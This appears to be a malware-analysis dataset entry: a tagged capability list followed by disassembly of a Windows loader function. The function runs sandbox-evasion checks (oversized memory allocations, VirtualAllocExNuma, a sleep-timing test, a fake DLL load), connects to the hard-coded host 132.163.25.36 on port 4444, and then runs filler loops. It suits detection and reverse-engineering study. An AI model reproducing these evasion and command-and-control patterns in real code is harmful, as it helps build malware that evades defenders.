Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Read data from internet
Receive data
Resume thread
Send data
Send http request

Disassembly:
push rbp
push rbx
sub rsp, 0x848
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7b0], xmm6
mov dword [rbp + 0x7e0], ecx
mov qword [rbp + 0x7e8], rdx
call dbg.__main
mov qword [rbp + 0x4e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x508ba80
mov ecx, 0
call rax
mov qword [rbp + 0x4e8], rax
cmp qword [rbp + 0x4e8], 0
je 0x140006d14
mov rax, qword [rbp + 0x4e8]
mov edx, 0x508ba80
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x4e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x4d8], rax
cmp qword [rbp + 0x4d8], 0
je 0x1400016a8
mov rax, qword [rbp + 0x4d8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4d0], rax
mov rax, qword [rbp + 0x4d0]
mov ecx, 0
call rax
mov dword [rbp + 0x7ac], eax
cmp dword [rbp + 0x7ac], 0xffffffff
je 0x140006d14
mov qword [rbp + 0x7a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x4c8], rax
cmp qword [rbp + 0x4c8], 0
je 0x140001742
mov rax, qword [rbp + 0x4c8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x4c0]
mov r9d, 0x3000
mov r8d, 0x2f7
mov edx, 0
call rax
mov qword [rbp + 0x7a0], rax
cmp qword [rbp + 0x7a0], 0
je 0x140006d14
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4b8], rax
mov rax, qword [rbp + 0x4b8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x4b0], rax
cmp qword [rbp + 0x4b0], 0
jne 0x140006d14
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x4a8], rax
cmp qword [rbp + 0x4a8], 0
je 0x140001807
mov rax, qword [rbp + 0x4a8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4a0], rax
mov rax, qword [rbp + 0x4a0]
mov ecx, 0
call rax
mov dword [rbp + 0x79c], eax
cmp dword [rbp + 0x79c], 0xffffffff
je 0x140006d14
mov dword [rbp + 0x49c], 0x26a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x490], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
call rax
mov dword [rbp + 0x484], eax
mov eax, dword [rbp + 0x49c]
mov r8, qword [rbp + 0x490]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x488]
call rax
mov dword [rbp + 0x480], eax
mov eax, dword [rbp + 0x480]
sub eax, dword [rbp + 0x484]
cmp eax, 0x238
jbe 0x140006d14
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0
je 0x140001923
mov rax, qword [rbp + 0x478]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov ecx, 0
call rax
mov dword [rbp + 0x798], eax
cmp dword [rbp + 0x798], 0xffffffff
je 0x140006d14
mov qword [rbp + 0x790], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x468], rax
cmp qword [rbp + 0x468], 0
je 0x1400019bd
mov rax, qword [rbp + 0x468]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x460], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x460]
mov r9d, 0x3000
mov r8d, 0x260
mov edx, 0
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
je 0x140006d14
mov qword [rbp + 0x458], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x450], rax
mov rax, qword [rbp + 0x450]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3543280
mov ecx, 0
call rax
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
je 0x140006d14
mov rax, qword [rbp + 0x458]
mov edx, 0x3543280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x458]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.uibvwjxcnrvy.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x448], rax
cmp qword [rbp + 0x448], 0
jne 0x140006d14
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x440], rax
cmp qword [rbp + 0x440], 0
je 0x140006d14
mov rax, qword [rbp + 0x440]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x438], rax
cmp qword [rbp + 0x438], 0
je 0x140006d14
mov dword [rbp + 0x788], 0
jmp 0x140001b77
call sym.rand
imul eax, eax, 0x19b
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140010108]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x68], rax
add dword [rbp + 0x788], 1
cmp dword [rbp + 0x788], 0x107
jle 0x140001b39
mov dword [rbp + 0x784], 0xffffffff
mov ecx, 0x1140
call sym.malloc
mov qword [rbp + 0x430], rax
mov ecx, 0x1140
call sym.malloc
mov qword [rbp + 0x428], rax
add dword [rbp + 0x784], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x430]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x430]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x784]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x428]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x784], 0x226
jle 0x140001baf
mov ecx, 0x1a0
call sym.malloc
mov qword [rbp + 0x420], rax
mov ecx, 0x1a0
call sym.malloc
mov qword [rbp + 0x418], rax
mov dword [rbp + 0x77c], 0x67
mov dword [rbp + 0x780], 0
jmp 0x140001d19
call sym.rand
mov edx, dword [rbp + 0x780]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x420]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x67
jle 0x140001ccc
mov dword [rbp + 0x780], 0
jmp 0x140001d75
mov eax, dword [rbp + 0x77c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x420]
add rax, rdx
mov edx, dword [rbp + 0x780]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x418]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x77c], 1
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x67
jle 0x140001d2e
mov rax, qword [rbp + 0x420]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.free
mov dword [rbp + 0x778], 0x82
mov dword [rbp + 0x774], 0x5a
mov dword [rbp + 0x770], 0x15e
mov dword [rbp + 0x76c], 0x186
jmp 0x140001e88
mov eax, dword [rbp + 0x770]
cmp eax, dword [rbp + 0x76c]
jle 0x140001e25
mov eax, dword [rbp + 0x770]
cmp eax, dword [rbp + 0x778]
jle 0x140001e05
mov eax, dword [rbp + 0x770]
cmp eax, dword [rbp + 0x774]
jle 0x140001dfc
sub dword [rbp + 0x770], 1
jmp 0x140001e71
sub dword [rbp + 0x774], 1
jmp 0x140001e71
mov eax, dword [rbp + 0x778]
cmp eax, dword [rbp + 0x774]
jle 0x140001e1c
sub dword [rbp + 0x778], 1
jmp 0x140001e71
sub dword [rbp + 0x774], 1
jmp 0x140001e71
mov eax, dword [rbp + 0x76c]
cmp eax, dword [rbp + 0x778]
jle 0x140001e53
mov eax, dword [rbp + 0x76c]
cmp eax, dword [rbp + 0x774]
jle 0x140001e4a
sub dword [rbp + 0x76c], 1
jmp 0x140001e71
sub dword [rbp + 0x774], 1
jmp 0x140001e71
mov eax, dword [rbp + 0x778]
cmp eax, dword [rbp + 0x774]
jle 0x140001e6a
sub dword [rbp + 0x778], 1
jmp 0x140001e71
sub dword [rbp + 0x774], 1
mov eax, dword [rbp + 0x770]
mov edx, eax
lea rax, [0x140010076]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x770], 0
jg 0x140001dc9
mov dword [rbp + 0x414], 0
mov ecx, 0xbd0
call sym.malloc
mov qword [rbp + 0x408], rax
mov ecx, 0xbd0
call sym.malloc
mov qword [rbp + 0x400], rax
mov ecx, 0xbd0
call sym.malloc
mov qword [rbp + 0x3f8], rax
mov dword [rbp + 0x768], 0
jmp 0x140001fcb
mov dword [rbp + 0x764], 0
jmp 0x140001fb7
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x768]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x408]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x764]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x768]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x400]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x764]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x1b
jle 0x140001ef0
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x1a
jle 0x140001ee1
mov dword [rbp + 0x768], 0
jmp 0x1400020c3
mov dword [rbp + 0x764], 0
jmp 0x1400020af
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x408]
add rdx, rax
mov eax, dword [rbp + 0x764]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x400]
add rdx, rax
mov eax, dword [rbp + 0x764]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3f8]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x764]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x1b
jle 0x140001ff6
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x1a
jle 0x140001fe7
mov rax, qword [rbp + 0x408]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x400]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x75c], 0x6e
mov dword [rbp + 0x760], 0x6e
jmp 0x140002121
sub dword [rbp + 0x75c], 1
sub dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x4a
jg 0x140002113
mov ecx, 0x230
call sym.malloc
mov qword [rbp + 0x3f0], rax
mov ecx, 0x230
call sym.malloc
mov qword [rbp + 0x3e8], rax
mov ecx, 0x230
call sym.malloc
mov qword [rbp + 0x3e0], rax
mov dword [rbp + 0x758], 0
jmp 0x140002250
mov dword [rbp + 0x754], 0
jmp 0x14000223c
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x758]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x3f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x754]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x758]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x754]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 9
jle 0x14000217b
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0xd
jle 0x14000216c
mov dword [rbp + 0x758], 0
jmp 0x14000232d
mov dword [rbp + 0x754], 0
jmp 0x140002319
mov eax, dword [rbp + 0x758]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x3f0]
add rdx, rax
mov eax, dword [rbp + 0x754]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x758]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x3e8]
add rdx, rax
mov eax, dword [rbp + 0x754]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x758]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x3e0]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x754]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 9
jle 0x14000227b
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0xd
jle 0x14000226c
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x750], 0
mov dword [rbp + 0x74c], 1
mov dword [rbp + 0x748], 0
mov dword [rbp + 0x3dc], 0x2e
jmp 0x1400023be
mov edx, dword [rbp + 0x750]
mov eax, dword [rbp + 0x74c]
add eax, edx
mov dword [rbp + 0x74], eax
add dword [rbp + 0x748], 1
mov eax, dword [rbp + 0x74c]
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x74]
mov dword [rbp + 0x74c], eax
mov eax, dword [rbp + 0x748]
cmp eax, dword [rbp + 0x3dc]
jl 0x140002391
mov dword [rbp + 0x744], 0xffffffff
add dword [rbp + 0x744], 1
call sym.rand
imul eax, eax, 0x13e
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140010108]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x3d0], rax
cmp dword [rbp + 0x744], 0xa2
jle 0x1400023d6
mov ecx, 0xa40
call sym.malloc
mov qword [rbp + 0x3c8], rax
mov ecx, 0x644
call sym.malloc
mov qword [rbp + 0x3c0], rax
mov dword [rbp + 0x740], 0
jmp 0x1400024dd
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x740]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x740], 1
cmp dword [rbp + 0x740], 0x190
jle 0x140002454
mov dword [rbp + 0x740], 0
jmp 0x1400025f1
mov dword [rbp + 0x7c], 0
jmp 0x1400025d6
mov eax, dword [rbp + 0x740]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c0]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x7c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c0]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x1400025cf
mov eax, dword [rbp + 0x7c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x78], xmm0
mov eax, dword [rbp + 0x740]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c0]
add rdx, rax
mov eax, dword [rbp + 0x7c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3c0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x7c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c0]
add rax, rdx
movss xmm0, dword [rbp + 0x78]
movss dword [rax], xmm0
add dword [rbp + 0x740], 1
mov eax, 0x190
sub eax, dword [rbp + 0x740]
cmp dword [rbp + 0x7c], eax
jl 0x140002508
add dword [rbp + 0x740], 1
cmp dword [rbp + 0x740], 0x190
jle 0x1400024fc
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x73c], 0xffffffff
mov ecx, 0x280
call sym.malloc
mov qword [rbp + 0x3b8], rax
add dword [rbp + 0x73c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140010108]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
movsd xmm1, qword [0x140010110]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
movq xmm1, qword [0x140010120]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x73c], 0x4e
jle 0x14000262b
mov dword [rbp + 0x738], 0
jmp 0x140002717
call sym.rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140010108]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x80], rax
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0x58
jle 0x1400026da
mov ecx, 0x3a8
call sym.malloc
mov qword [rbp + 0x3b0], rax
mov dword [rbp + 0x734], 0
jmp 0x1400027c7
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x734]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0xe9
jle 0x140002740
mov dword [rbp + 0x734], 0
jmp 0x1400028cb
cmp dword [rbp + 0x734], 0
je 0x140002830
mov eax, dword [rbp + 0x734]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x734]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x14000283c
add dword [rbp + 0x734], 1
jmp 0x1400028cb
mov eax, dword [rbp + 0x734]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x88], xmm0
mov eax, dword [rbp + 0x734]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3b0]
add rdx, rax
mov eax, dword [rbp + 0x734]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x3b0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x734]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
movss xmm0, dword [rbp + 0x88]
movss dword [rax], xmm0
sub dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0xe9
jle 0x1400027e6
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x3ac], 1
mov ecx, 0x280
call sym.malloc
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x728], 2
jmp 0x140002939
mov rax, qword [rbp + 0x728]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x728], 1
cmp qword [rbp + 0x728], 0x9f
jbe 0x140002912
mov qword [rbp + 0x728], 2
jmp 0x1400029d0
mov rax, qword [rbp + 0x728]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400029c8
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x720], rax
jmp 0x1400029b1
mov rax, qword [rbp + 0x728]
imul rax, qword [rbp + 0x720]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x720], 1
mov rax, qword [rbp + 0x728]
imul rax, qword [rbp + 0x720]
cmp rax, 0x9f
jbe 0x140002982
add qword [rbp + 0x728], 1
cmp qword [rbp + 0x728], 0x9f
jbe 0x140002953
mov rax, qword [rbp + 0x3a0]
mov rcx, rax
call sym.free
mov ecx, 0x448
call sym.malloc
mov qword [rbp + 0x398], rax
mov dword [rbp + 0x71c], 0
jmp 0x140002a5a
call sym.rand
mov edx, dword [rbp + 0x71c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x398]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x111
jle 0x140002a0d
mov dword [rbp + 0x71c], 0
jmp 0x140002b4a
cmp dword [rbp + 0x71c], 0
je 0x140002aba
mov eax, dword [rbp + 0x71c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x398]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x71c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x398]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002ac6
add dword [rbp + 0x71c], 1
jmp 0x140002b4a
mov eax, dword [rbp + 0x71c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x398]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x8c], eax
mov eax, dword [rbp + 0x71c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x398]
add rax, rdx
mov edx, dword [rbp + 0x71c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x398]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x71c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x398]
add rdx, rax
mov eax, dword [rbp + 0x8c]
mov dword [rdx], eax
sub dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x111
jle 0x140002a75
